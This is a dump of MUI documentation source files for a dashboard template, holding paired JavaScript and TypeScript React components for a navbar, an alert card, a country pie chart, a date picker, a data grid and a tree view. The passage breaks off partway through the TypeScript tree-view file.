    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport MuiToolbar from '@mui/material/Toolbar';\nimport { tabsClasses } from '@mui/material/Tabs';\nimport Typography from '@mui/material/Typography';\nimport MenuRoundedIcon from '@mui/icons-material/MenuRounded';\nimport DashboardRoundedIcon from '@mui/icons-material/DashboardRounded';\nimport SideMenuMobile from './SideMenuMobile';\nimport MenuButton from './MenuButton';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\n\nconst Toolbar = styled(MuiToolbar)({\n  width: '100%',\n  padding: '12px',\n  display: 'flex',\n  flexDirection: 'column',\n  alignItems: 'start',\n  justifyContent: 'center',\n  gap: '12px',\n  flexShrink: 0,\n  [`& ${tabsClasses.list}`]: {\n    gap: '8px',\n    p: '8px',\n    pb: 0,\n  },\n});\n\nexport default function AppNavbar() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen) => () => {\n    setOpen(newOpen);\n  };\n\n  return (\n    <AppBar\n      position=\"fixed\"\n      sx={{\n        display: { xs: 'auto', md: 'none' },\n        boxShadow: 0,\n        bgcolor: 'background.paper',\n        backgroundImage: 'none',\n        borderBottom: '1px solid',\n        borderColor: 'divider',\n        top: 'var(--template-frame-height, 0px)',\n      }}\n    >\n      <Toolbar variant=\"regular\">\n        <Stack\n          direction=\"row\"\n          sx={{\n            alignItems: 'center',\n            flexGrow: 1,\n            width: '100%',\n            gap: 1,\n          }}\n        >\n          <Stack\n            direction=\"row\"\n            spacing={1}\n            sx={{ justifyContent: 'center', mr: 'auto' }}\n          >\n            <CustomIcon />\n            <Typography variant=\"h4\" component=\"h1\" sx={{ color: 'text.primary' }}>\n              Dashboard\n            </Typography>\n          </Stack>\n          <ColorModeIconDropdown />\n          <MenuButton aria-label=\"menu\" onClick={toggleDrawer(true)}>\n            <MenuRoundedIcon />\n          </MenuButton>\n          <SideMenuMobile open={open} toggleDrawer={toggleDrawer} />\n        </Stack>\n      </Toolbar>\n    </AppBar>\n  );\n}\n\nexport function CustomIcon() {\n  return (\n    <Box\n      sx={{\n        width: '1.5rem',\n        height: '1.5rem',\n        bgcolor: 'black',\n        borderRadius: '999px',\n        display: 'flex',\n        justifyContent: 'center',\n        alignItems: 'center',\n        alignSelf: 'center',\n        backgroundImage:\n          'linear-gradient(135deg, hsl(210, 98%, 60%) 0%, hsl(210, 100%, 35%) 100%)',\n        color: 'hsla(210, 100%, 95%, 0.9)',\n        border: '1px solid',\n        borderColor: 'hsl(210, 100%, 55%)',\n        boxShadow: 'inset 0 2px 5px rgba(255, 255, 255, 0.3)',\n      }}\n    >\n      <DashboardRoundedIcon color=\"inherit\" sx={{ fontSize: '1rem' }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/AppNavbar.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport MuiToolbar from '@mui/material/Toolbar';\nimport { tabsClasses } from '@mui/material/Tabs';\nimport Typography from '@mui/material/Typography';\nimport MenuRoundedIcon from '@mui/icons-material/MenuRounded';\nimport DashboardRoundedIcon from '@mui/icons-material/DashboardRounded';\nimport SideMenuMobile from './SideMenuMobile';\nimport MenuButton from './MenuButton';\nimport ColorModeIconDropdown from '../../shared-theme/ColorModeIconDropdown';\n\nconst Toolbar = styled(MuiToolbar)({\n  width: '100%',\n  padding: '12px',\n  display: 'flex',\n  flexDirection: 'column',\n  alignItems: 'start',\n  justifyContent: 'center',\n  gap: '12px',\n  flexShrink: 0,\n  [`& ${tabsClasses.list}`]: {\n    gap: '8px',\n    p: '8px',\n    pb: 0,\n  },\n});\n\nexport default function AppNavbar() {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen: boolean) => () => {\n    setOpen(newOpen);\n  };\n\n  return (\n    <AppBar\n      position=\"fixed\"\n      sx={{\n        display: { xs: 'auto', md: 'none' },\n        boxShadow: 0,\n        bgcolor: 'background.paper',\n        backgroundImage: 'none',\n        borderBottom: '1px solid',\n        borderColor: 'divider',\n        top: 'var(--template-frame-height, 0px)',\n      }}\n    >\n      <Toolbar variant=\"regular\">\n        <Stack\n          direction=\"row\"\n          sx={{\n            alignItems: 'center',\n            flexGrow: 1,\n            width: '100%',\n            gap: 1,\n          }}\n        >\n          <Stack\n            direction=\"row\"\n            spacing={1}\n            sx={{ justifyContent: 'center', mr: 'auto' }}\n          >\n            <CustomIcon />\n            <Typography variant=\"h4\" component=\"h1\" sx={{ color: 'text.primary' }}>\n              Dashboard\n            </Typography>\n          </Stack>\n          <ColorModeIconDropdown />\n          <MenuButton aria-label=\"menu\" onClick={toggleDrawer(true)}>\n            <MenuRoundedIcon />\n          </MenuButton>\n          <SideMenuMobile open={open} toggleDrawer={toggleDrawer} />\n        </Stack>\n      </Toolbar>\n    </AppBar>\n  );\n}\n\nexport function CustomIcon() {\n  return (\n    <Box\n      sx={{\n        width: '1.5rem',\n        height: '1.5rem',\n        bgcolor: 'black',\n        borderRadius: '999px',\n        display: 'flex',\n        justifyContent: 'center',\n        alignItems: 'center',\n        alignSelf: 'center',\n        backgroundImage:\n          'linear-gradient(135deg, hsl(210, 98%, 60%) 0%, hsl(210, 100%, 35%) 100%)',\n        color: 'hsla(210, 100%, 95%, 0.9)',\n        border: '1px solid',\n        borderColor: 'hsl(210, 100%, 55%)',\n        boxShadow: 'inset 0 2px 5px rgba(255, 255, 255, 0.3)',\n      }}\n    >\n      <DashboardRoundedIcon color=\"inherit\" sx={{ fontSize: '1rem' }} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CardAlert.js",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport AutoAwesomeRoundedIcon from '@mui/icons-material/AutoAwesomeRounded';\n\nexport default function CardAlert() {\n  return (\n    <Card variant=\"outlined\" sx={{ m: 1.5, flexShrink: 0 }}>\n      <CardContent>\n        <AutoAwesomeRoundedIcon fontSize=\"small\" />\n        <Typography gutterBottom sx={{ fontWeight: 600 }}>\n          Plan about to expire\n        </Typography>\n        <Typography variant=\"body2\" sx={{ mb: 2, color: 'text.secondary' }}>\n          Enjoy 10% off when renewing your plan today.\n        </Typography>\n        <Button variant=\"contained\" size=\"small\" fullWidth>\n          Get the discount\n        </Button>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CardAlert.tsx",
    "content": "import Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport AutoAwesomeRoundedIcon from '@mui/icons-material/AutoAwesomeRounded';\n\nexport default function CardAlert() {\n  return (\n    <Card variant=\"outlined\" sx={{ m: 1.5, flexShrink: 0 }}>\n      <CardContent>\n        <AutoAwesomeRoundedIcon fontSize=\"small\" />\n        <Typography gutterBottom sx={{ fontWeight: 600 }}>\n          Plan about to expire\n        </Typography>\n        <Typography variant=\"body2\" sx={{ mb: 2, color: 'text.secondary' }}>\n          Enjoy 10% off when renewing your plan today.\n        </Typography>\n        <Button variant=\"contained\" size=\"small\" fullWidth>\n          Get the discount\n        </Button>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/ChartUserByCountry.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { PieChart } from '@mui/x-charts/PieChart';\nimport { useDrawingArea } from '@mui/x-charts/hooks';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport LinearProgress, { linearProgressClasses } from '@mui/material/LinearProgress';\n\nimport {\n  IndiaFlag,\n  UsaFlag,\n  BrazilFlag,\n  GlobeFlag,\n} from '../internals/components/CustomIcons';\n\nconst data = [\n  { label: 'India', value: 50000 },\n  { label: 'USA', value: 35000 },\n  { label: 'Brazil', value: 10000 },\n  { label: 'Other', value: 5000 },\n];\n\nconst countries = [\n  {\n    name: 'India',\n    value: 50,\n    flag: <IndiaFlag />,\n    color: 'hsl(220, 25%, 65%)',\n  },\n  {\n    name: 'USA',\n    value: 35,\n    flag: <UsaFlag />,\n    color: 'hsl(220, 25%, 45%)',\n  },\n  {\n    name: 'Brazil',\n    value: 10,\n    flag: <BrazilFlag />,\n    color: 'hsl(220, 25%, 30%)',\n  },\n  {\n    name: 'Other',\n    value: 5,\n    flag: <GlobeFlag />,\n    color: 'hsl(220, 25%, 20%)',\n  },\n];\n\nconst StyledText = styled('text', {\n  shouldForwardProp: (prop) => prop !== 'variant',\n})(({ theme }) => ({\n  textAnchor: 'middle',\n  dominantBaseline: 'central',\n  fill: (theme.vars || theme).palette.text.secondary,\n  variants: [\n    {\n      props: {\n        variant: 'primary',\n      },\n      style: {\n        fontSize: theme.typography.h5.fontSize,\n      },\n    },\n    {\n      props: ({ variant }) => variant !== 'primary',\n      style: {\n        fontSize: theme.typography.body2.fontSize,\n      },\n    },\n    {\n      props: {\n        variant: 'primary',\n      },\n      style: {\n        fontWeight: theme.typography.h5.fontWeight,\n      },\n    },\n    {\n      props: ({ variant }) => variant !== 'primary',\n      style: {\n        fontWeight: theme.typography.body2.fontWeight,\n      },\n    },\n  ],\n}));\n\nfunction PieCenterLabel({ primaryText, secondaryText }) {\n  const { width, height, left, top } = useDrawingArea();\n  const primaryY = top + height / 2 - 10;\n  const secondaryY = primaryY + 24;\n\n  return (\n    <React.Fragment>\n      <StyledText variant=\"primary\" x={left + width / 2} y={primaryY}>\n        {primaryText}\n      </StyledText>\n      <StyledText variant=\"secondary\" x={left + width / 2} y={secondaryY}>\n        {secondaryText}\n      </StyledText>\n    </React.Fragment>\n  );\n}\n\nPieCenterLabel.propTypes = {\n  primaryText: PropTypes.string.isRequired,\n  secondaryText: PropTypes.string.isRequired,\n};\n\nconst colors = [\n  'hsl(220, 20%, 65%)',\n  'hsl(220, 20%, 42%)',\n  'hsl(220, 20%, 35%)',\n  'hsl(220, 20%, 25%)',\n];\n\nexport default function ChartUserByCountry() {\n  return (\n    <Card\n      variant=\"outlined\"\n      sx={{ display: 'flex', flexDirection: 'column', gap: '8px', flexGrow: 1 }}\n    >\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\">\n          Users by country\n        </Typography>\n        <Box sx={{ display: 'flex', alignItems: 'center' }}>\n          <PieChart\n            colors={colors}\n            margin={{\n              left: 80,\n              right: 80,\n              top: 80,\n              bottom: 80,\n            }}\n            series={[\n              {\n                data,\n                innerRadius: 75,\n                outerRadius: 100,\n                paddingAngle: 0,\n                highlightScope: { fade: 'global', highlight: 'item' },\n              },\n            ]}\n            height={260}\n            width={260}\n            hideLegend\n          >\n            <PieCenterLabel primaryText=\"98.5K\" secondaryText=\"Total\" />\n          </PieChart>\n        </Box>\n        {countries.map((country, index) => (\n          <Stack\n            key={index}\n            direction=\"row\"\n            sx={{ alignItems: 'center', gap: 2, pb: 2 }}\n          >\n            {country.flag}\n            <Stack sx={{ gap: 1, flexGrow: 1 }}>\n              <Stack\n                direction=\"row\"\n                sx={{\n                  justifyContent: 'space-between',\n                  alignItems: 'center',\n                  gap: 2,\n                }}\n              >\n                <Typography variant=\"body2\" sx={{ fontWeight: '500' }}>\n                  {country.name}\n                </Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                  {country.value}%\n                </Typography>\n              </Stack>\n              <LinearProgress\n                variant=\"determinate\"\n                aria-label=\"Number of users by country\"\n                value={country.value}\n                sx={{\n                  [`& .${linearProgressClasses.bar}`]: {\n                    backgroundColor: country.color,\n                  },\n                }}\n              />\n            </Stack>\n          </Stack>\n        ))}\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/ChartUserByCountry.tsx",
    "content": "import * as React from 'react';\nimport { PieChart } from '@mui/x-charts/PieChart';\nimport { useDrawingArea } from '@mui/x-charts/hooks';\nimport { styled } from '@mui/material/styles';\nimport Typography from '@mui/material/Typography';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Box from '@mui/material/Box';\nimport Stack from '@mui/material/Stack';\nimport LinearProgress, { linearProgressClasses } from '@mui/material/LinearProgress';\n\nimport {\n  IndiaFlag,\n  UsaFlag,\n  BrazilFlag,\n  GlobeFlag,\n} from '../internals/components/CustomIcons';\n\nconst data = [\n  { label: 'India', value: 50000 },\n  { label: 'USA', value: 35000 },\n  { label: 'Brazil', value: 10000 },\n  { label: 'Other', value: 5000 },\n];\n\nconst countries = [\n  {\n    name: 'India',\n    value: 50,\n    flag: <IndiaFlag />,\n    color: 'hsl(220, 25%, 65%)',\n  },\n  {\n    name: 'USA',\n    value: 35,\n    flag: <UsaFlag />,\n    color: 'hsl(220, 25%, 45%)',\n  },\n  {\n    name: 'Brazil',\n    value: 10,\n    flag: <BrazilFlag />,\n    color: 'hsl(220, 25%, 30%)',\n  },\n  {\n    name: 'Other',\n    value: 5,\n    flag: <GlobeFlag />,\n    color: 'hsl(220, 25%, 20%)',\n  },\n];\n\ninterface StyledTextProps {\n  variant: 'primary' | 'secondary';\n}\n\nconst StyledText = styled('text', {\n  shouldForwardProp: (prop) => prop !== 'variant',\n})<StyledTextProps>(({ theme }) => ({\n  textAnchor: 'middle',\n  dominantBaseline: 'central',\n  fill: (theme.vars || theme).palette.text.secondary,\n  variants: [\n    {\n      props: {\n        variant: 'primary',\n      },\n      style: {\n        fontSize: theme.typography.h5.fontSize,\n      },\n    },\n    {\n      props: ({ variant }) => variant !== 'primary',\n      style: {\n        fontSize: theme.typography.body2.fontSize,\n      },\n    },\n    {\n      props: {\n        variant: 'primary',\n      },\n      style: {\n        fontWeight: theme.typography.h5.fontWeight,\n      },\n    },\n    {\n      props: ({ variant }) => variant !== 'primary',\n      style: {\n        fontWeight: theme.typography.body2.fontWeight,\n      },\n    },\n  ],\n}));\n\ninterface PieCenterLabelProps {\n  primaryText: string;\n  secondaryText: string;\n}\n\nfunction PieCenterLabel({ primaryText, secondaryText }: PieCenterLabelProps) {\n  const { width, height, left, top } = useDrawingArea();\n  const primaryY = top + height / 2 - 10;\n  const secondaryY = primaryY + 24;\n\n  return (\n    <React.Fragment>\n      <StyledText variant=\"primary\" x={left + width / 2} y={primaryY}>\n        {primaryText}\n      </StyledText>\n      <StyledText variant=\"secondary\" x={left + width / 2} y={secondaryY}>\n        {secondaryText}\n      </StyledText>\n    </React.Fragment>\n  );\n}\n\nconst colors = [\n  'hsl(220, 20%, 65%)',\n  'hsl(220, 20%, 42%)',\n  'hsl(220, 20%, 35%)',\n  'hsl(220, 20%, 25%)',\n];\n\nexport default function ChartUserByCountry() {\n  return (\n    <Card\n      variant=\"outlined\"\n      sx={{ display: 'flex', flexDirection: 'column', gap: '8px', flexGrow: 1 }}\n    >\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\">\n          Users by country\n        </Typography>\n        <Box sx={{ display: 'flex', alignItems: 'center' }}>\n          <PieChart\n            colors={colors}\n            margin={{\n              left: 80,\n              right: 80,\n              top: 80,\n              bottom: 80,\n            }}\n            series={[\n              {\n                data,\n                innerRadius: 75,\n                outerRadius: 100,\n                paddingAngle: 0,\n                highlightScope: { fade: 'global', highlight: 'item' },\n              },\n            ]}\n            height={260}\n            width={260}\n            hideLegend\n          >\n            <PieCenterLabel primaryText=\"98.5K\" secondaryText=\"Total\" />\n          </PieChart>\n        </Box>\n        {countries.map((country, index) => (\n          <Stack\n            key={index}\n            direction=\"row\"\n            sx={{ alignItems: 'center', gap: 2, pb: 2 }}\n          >\n            {country.flag}\n            <Stack sx={{ gap: 1, flexGrow: 1 }}>\n              <Stack\n                direction=\"row\"\n                sx={{\n                  justifyContent: 'space-between',\n                  alignItems: 'center',\n                  gap: 2,\n                }}\n              >\n                <Typography variant=\"body2\" sx={{ fontWeight: '500' }}>\n                  {country.name}\n                </Typography>\n                <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                  {country.value}%\n                </Typography>\n              </Stack>\n              <LinearProgress\n                variant=\"determinate\"\n                aria-label=\"Number of users by country\"\n                value={country.value}\n                sx={{\n                  [`& .${linearProgressClasses.bar}`]: {\n                    backgroundColor: country.color,\n                  },\n                }}\n              />\n            </Stack>\n          </Stack>\n        ))}\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CustomDatePicker.js",
    "content": "import * as React from 'react';\nimport dayjs from 'dayjs';\nimport { useForkRef } from '@mui/material/utils';\nimport Button from '@mui/material/Button';\nimport CalendarTodayRoundedIcon from '@mui/icons-material/CalendarTodayRounded';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport { DatePicker } from '@mui/x-date-pickers/DatePicker';\nimport {\n  useParsedFormat,\n  usePickerContext,\n  useSplitFieldProps,\n} from '@mui/x-date-pickers';\n\nfunction ButtonField(props) {\n  const { forwardedProps } = useSplitFieldProps(props, 'date');\n  const pickerContext = usePickerContext();\n  const handleRef = useForkRef(pickerContext.triggerRef, pickerContext.rootRef);\n  const parsedFormat = useParsedFormat();\n  const valueStr =\n    pickerContext.value == null\n      ? parsedFormat\n      : pickerContext.value.format(pickerContext.fieldFormat);\n\n  return (\n    <Button\n      {...forwardedProps}\n      variant=\"outlined\"\n      ref={handleRef}\n      size=\"small\"\n      startIcon={<CalendarTodayRoundedIcon fontSize=\"small\" />}\n      sx={{ minWidth: 'fit-content' }}\n      onClick={() => pickerContext.setOpen((prev) => !prev)}\n    >\n      {pickerContext.label ?? valueStr}\n    </Button>\n  );\n}\n\nexport default function CustomDatePicker() {\n  const [value, setValue] = React.useState(dayjs('2023-04-17'));\n\n  return (\n    <LocalizationProvider dateAdapter={AdapterDayjs}>\n      <DatePicker\n        value={value}\n        label={value == null ? null : value.format('MMM DD, YYYY')}\n        onChange={(newValue) => setValue(newValue)}\n        slots={{ field: ButtonField }}\n        slotProps={{\n          nextIconButton: { size: 'small' },\n          previousIconButton: { size: 'small' },\n        }}\n        views={['day', 'month', 'year']}\n      />\n    </LocalizationProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CustomDatePicker.tsx",
    "content": "import * as React from 'react';\nimport dayjs, { Dayjs } from 'dayjs';\nimport { useForkRef } from '@mui/material/utils';\nimport Button from '@mui/material/Button';\nimport CalendarTodayRoundedIcon from '@mui/icons-material/CalendarTodayRounded';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport { DatePicker, DatePickerFieldProps } from '@mui/x-date-pickers/DatePicker';\nimport {\n  useParsedFormat,\n  usePickerContext,\n  useSplitFieldProps,\n} from '@mui/x-date-pickers';\n\ninterface ButtonFieldProps extends DatePickerFieldProps {}\n\nfunction ButtonField(props: ButtonFieldProps) {\n  const { forwardedProps } = useSplitFieldProps(props, 'date');\n  const pickerContext = usePickerContext();\n  const handleRef = useForkRef(pickerContext.triggerRef, pickerContext.rootRef);\n  const parsedFormat = useParsedFormat();\n  const valueStr =\n    pickerContext.value == null\n      ? parsedFormat\n      : pickerContext.value.format(pickerContext.fieldFormat);\n\n  return (\n    <Button\n      {...forwardedProps}\n      variant=\"outlined\"\n      ref={handleRef}\n      size=\"small\"\n      startIcon={<CalendarTodayRoundedIcon fontSize=\"small\" />}\n      sx={{ minWidth: 'fit-content' }}\n      onClick={() => pickerContext.setOpen((prev) => !prev)}\n    >\n      {pickerContext.label ?? valueStr}\n    </Button>\n  );\n}\n\nexport default function CustomDatePicker() {\n  const [value, setValue] = React.useState<Dayjs | null>(dayjs('2023-04-17'));\n\n  return (\n    <LocalizationProvider dateAdapter={AdapterDayjs}>\n      <DatePicker\n        value={value}\n        label={value == null ? null : value.format('MMM DD, YYYY')}\n        onChange={(newValue) => setValue(newValue)}\n        slots={{ field: ButtonField }}\n        slotProps={{\n          nextIconButton: { size: 'small' },\n          previousIconButton: { size: 'small' },\n        }}\n        views={['day', 'month', 'year']}\n      />\n    </LocalizationProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CustomizedDataGrid.js",
    "content": "import { DataGrid } from '@mui/x-data-grid';\nimport { columns, rows } from '../internals/data/gridData';\n\nexport default function CustomizedDataGrid() {\n  return (\n    <DataGrid\n      checkboxSelection\n      rows={rows}\n      columns={columns}\n      getRowClassName={(params) =>\n        params.indexRelativeToCurrentPage % 2 === 0 ? 'even' : 'odd'\n      }\n      initialState={{\n        pagination: { paginationModel: { pageSize: 20 } },\n      }}\n      pageSizeOptions={[10, 20, 50]}\n      disableColumnResize\n      density=\"compact\"\n      slotProps={{\n        filterPanel: {\n          filterFormProps: {\n            logicOperatorInputProps: {\n              variant: 'outlined',\n              size: 'small',\n            },\n            columnInputProps: {\n              variant: 'outlined',\n              size: 'small',\n              sx: { mt: 'auto' },\n            },\n            operatorInputProps: {\n              variant: 'outlined',\n              size: 'small',\n              sx: { mt: 'auto' },\n            },\n            valueInputProps: {\n              InputComponentProps: {\n                variant: 'outlined',\n                size: 'small',\n              },\n            },\n          },\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CustomizedDataGrid.tsx",
    "content": "import { DataGrid } from '@mui/x-data-grid';\nimport { columns, rows } from '../internals/data/gridData';\n\nexport default function CustomizedDataGrid() {\n  return (\n    <DataGrid\n      checkboxSelection\n      rows={rows}\n      columns={columns}\n      getRowClassName={(params) =>\n        params.indexRelativeToCurrentPage % 2 === 0 ? 'even' : 'odd'\n      }\n      initialState={{\n        pagination: { paginationModel: { pageSize: 20 } },\n      }}\n      pageSizeOptions={[10, 20, 50]}\n      disableColumnResize\n      density=\"compact\"\n      slotProps={{\n        filterPanel: {\n          filterFormProps: {\n            logicOperatorInputProps: {\n              variant: 'outlined',\n              size: 'small',\n            },\n            columnInputProps: {\n              variant: 'outlined',\n              size: 'small',\n              sx: { mt: 'auto' },\n            },\n            operatorInputProps: {\n              variant: 'outlined',\n              size: 'small',\n              sx: { mt: 'auto' },\n            },\n            valueInputProps: {\n              InputComponentProps: {\n                variant: 'outlined',\n                size: 'small',\n              },\n            },\n          },\n        },\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CustomizedTreeView.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { animated, useSpring } from '@react-spring/web';\n\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Collapse from '@mui/material/Collapse';\nimport Typography from '@mui/material/Typography';\nimport { RichTreeView } from '@mui/x-tree-view/RichTreeView';\nimport { useTreeItem } from '@mui/x-tree-view/useTreeItem';\nimport {\n  TreeItemContent,\n  TreeItemIconContainer,\n  TreeItemLabel,\n  TreeItemRoot,\n} from '@mui/x-tree-view/TreeItem';\nimport { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';\nimport { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';\n\nimport { useTheme } from '@mui/material/styles';\n\nconst ITEMS = [\n  {\n    id: '1',\n    label: 'Website',\n    children: [\n      { id: '1.1', label: 'Home', color: 'green' },\n      { id: '1.2', label: 'Pricing', color: 'green' },\n      { id: '1.3', label: 'About us', color: 'green' },\n      {\n        id: '1.4',\n        label: 'Blog',\n        children: [\n          { id: '1.1.1', label: 'Announcements', color: 'blue' },\n          { id: '1.1.2', label: 'April lookahead', color: 'blue' },\n          { id: '1.1.3', label: \"What's new\", color: 'blue' },\n          { id: '1.1.4', label: 'Meet the team', color: 'blue' },\n        ],\n      },\n    ],\n  },\n  {\n    id: '2',\n    label: 'Store',\n    children: [\n      { id: '2.1', label: 'All products', color: 'green' },\n      {\n        id: '2.2',\n        label: 'Categories',\n        children: [\n          { id: '2.2.1', label: 'Gadgets', color: 'blue' },\n          { id: '2.2.2', label: 'Phones', color: 'blue' },\n          { id: '2.2.3', label: 'Wearables', color: 'blue' },\n        ],\n      },\n      { id: '2.3', label: 'Bestsellers', color: 'green' },\n      { id: '2.4', label: 'Sales', color: 'green' },\n    ],\n  },\n  { id: '4', label: 'Contact', color: 'blue' },\n  { id: '5', label: 'Help', color: 'blue' },\n];\n\nfunction DotIcon({ color }) {\n  return (\n    <Box sx={{ marginRight: 1, display: 'flex', alignItems: 'center' }}>\n      <svg width={6} height={6}>\n        <circle cx={3} cy={3} r={3} fill={color} />\n      </svg>\n    </Box>\n  );\n}\n\nDotIcon.propTypes = {\n  color: PropTypes.string.isRequired,\n};\n\nconst AnimatedCollapse = animated(Collapse);\n\nfunction TransitionComponent(props) {\n  const style = useSpring({\n    to: {\n      opacity: props.in ? 1 : 0,\n      transform: `translate3d(0,${props.in ? 0 : 20}px,0)`,\n    },\n  });\n\n  return <AnimatedCollapse style={style} {...props} />;\n}\n\nTransitionComponent.propTypes = {\n  /**\n   * Show the component; triggers the enter or exit states\n   */\n  in: PropTypes.bool,\n};\n\nfunction CustomLabel({ color, expandable, children, ...other }) {\n  const theme = useTheme();\n  const colors = {\n    blue: (theme.vars || theme).palette.primary.main,\n    green: (theme.vars || theme).palette.success.main,\n  };\n\n  const iconColor = color ? colors[color] : null;\n  return (\n    <TreeItemLabel {...other} sx={{ display: 'flex', alignItems: 'center' }}>\n      {iconColor && <DotIcon color={iconColor} />}\n      <Typography\n        className=\"labelText\"\n        variant=\"body2\"\n        sx={{ color: 'text.primary' }}\n      >\n        {children}\n      </Typography>\n    </TreeItemLabel>\n  );\n}\n\nCustomLabel.propTypes = {\n  children: PropTypes.node,\n  color: PropTypes.oneOf(['blue', 'green']),\n  expandable: PropTypes.bool,\n};\n\nconst CustomTreeItem = React.forwardRef(function CustomTreeItem(props, ref) {\n  const { id, itemId, label, disabled, children, ...other } = props;\n\n  const {\n    getRootProps,\n    getContentProps,\n    getIconContainerProps,\n    getLabelProps,\n    getGroupTransitionProps,\n    status,\n    publicAPI,\n  } = useTreeItem({ id, itemId, children, label, disabled, rootRef: ref });\n\n  const item = publicAPI.getItem(itemId);\n  const color = item?.color;\n  return (\n    <TreeItemProvider id={id} itemId={itemId}>\n      <TreeItemRoot {...getRootProps(other)}>\n        <TreeItemContent\n          {...getContentProps({\n            className: clsx('content', {\n              expanded: status.expanded,\n              selected: status.selected,\n              focused: status.focused,\n              disabled: status.disabled,\n            }),\n          })}\n        >\n          {status.expandable && (\n            <TreeItemIconContainer {...getIconContainerProps()}>\n              <TreeItemIcon status={status} />\n            </TreeItemIconContainer>\n          )}\n\n          <CustomLabel {...getLabelProps({ color })} />\n        </TreeItemContent>\n        {children && (\n          <TransitionComponent\n            {...getGroupTransitionProps({ className: 'groupTransition' })}\n          />\n        )}\n      </TreeItemRoot>\n    </TreeItemProvider>\n  );\n});\n\nCustomTreeItem.propTypes = {\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * If `true`, the item is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * The id attribute of the item. If not provided, it will be generated.\n   */\n  id: PropTypes.string,\n  /**\n   * The id of the item.\n   * Must be unique.\n   */\n  itemId: PropTypes.string.isRequired,\n  /**\n   * The label of the item.\n   */\n  label: PropTypes.node,\n};\n\nexport default function CustomizedTreeView() {\n  return (\n    <Card\n      variant=\"outlined\"\n      sx={{ display: 'flex', flexDirection: 'column', gap: '8px', flexGrow: 1 }}\n    >\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\">\n          Product tree\n        </Typography>\n        <RichTreeView\n          items={ITEMS}\n          aria-label=\"pages\"\n          multiSelect\n          defaultExpandedItems={['1', '1.1']}\n          defaultSelectedItems={['1.1', '1.1.1']}\n          sx={{\n            m: '0 -8px',\n            pb: '8px',\n            height: 'fit-content',\n            flexGrow: 1,\n            overflowY: 'auto',\n          }}\n          slots={{ item: CustomTreeItem }}\n        />\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/CustomizedTreeView.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { animated, useSpring } from '@react-spring/web';\nimport { TransitionProps } from '@mui/material/transitions';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Collapse from '@mui/material/Collapse';\nimport Typography from '@mui/material/Typography';\nimport { RichTreeView } from '@mui/x-tree-view/RichTreeView';\nimport { useTreeItem, UseTreeItemParameters } from '@mui/x-tree-view/useTreeItem';\nimport {\n  TreeItemContent,\n  TreeItemIconContainer,\n  TreeItemLabel,\n  TreeItemRoot,\n} from '@mui/x-tree-view/TreeItem';\nimport { TreeItemIcon } from '@mui/x-tree-view/TreeItemIcon';\nimport { TreeItemProvider } from '@mui/x-tree-view/TreeItemProvider';\nimport { TreeViewBaseItem } from '@mui/x-tree-view/models';\nimport { useTheme } from '@mui/material/styles';\n\ntype Color = 'blue' | 'green';\n\ntype ExtendedTreeItemProps = {\n  color?: Color;\n  id: string;\n  label: 